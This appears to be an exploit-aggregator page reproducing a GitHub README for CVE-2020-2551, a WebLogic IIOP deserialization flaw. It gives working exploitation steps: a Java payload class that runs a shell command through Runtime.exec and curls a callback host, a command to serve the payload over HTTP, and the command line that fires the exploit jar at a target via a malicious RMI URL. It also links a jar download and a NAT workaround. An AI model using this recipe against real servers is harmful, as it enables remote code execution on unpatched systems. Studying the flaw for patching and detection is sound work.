Sploitus

Exploit for CVE-2020-2551

githubexploit · 2020-02-28

Exploit Code

README46 lines
## https://sploitus.com/exploit?id=EDDF0BA9-678D-571A-B194-9148348075A1
## CVE-2020-2551  
WebLogic IIOP Deserialization  

## Testing Environment  
WebLogic10.3.6+jdk1.6  

[Compressed jar file](https://pan.baidu.com/s/1WancKEtKzXDxwWP0zz3QPg) Extraction code: a6ob  

## Vulnerability Exploitation  
Download the jar file, then use Marshalsec to create a malicious RMI service. Compile an `exp.java` file locally.  
```java
package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```  
It’s recommended to use the same JDK version and dependency libraries as WebLogic (e.g., wlfullclient.jar) for compilation. Then, start a web server locally:  
```bash
python -m http.server --bind 0.0.0.0 80
```  
Run the jar file from the command line:  
```bash
java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
```  
The actual result is shown in the image below:  
![Image](https://user-images.githubusercontent.com/40487319/75524749-81804100-5a49-11ea-8409-20746ca09299.gif)  

## Known Issues  
Many people reported that the vulnerability couldn’t be exploited successfully. After reviewing some articles online, it was found that IIOP has a NAT mode issue. Today, a solution was discovered on Zhidao: https://xz.aliyun.com/t/7498. Please proceed to that link for further details.  

## References  
https://y4er.com/post/weblogic-cve-2020-2551/

[source-iocs-preserved url=https://xz.aliyun.com/t/7498]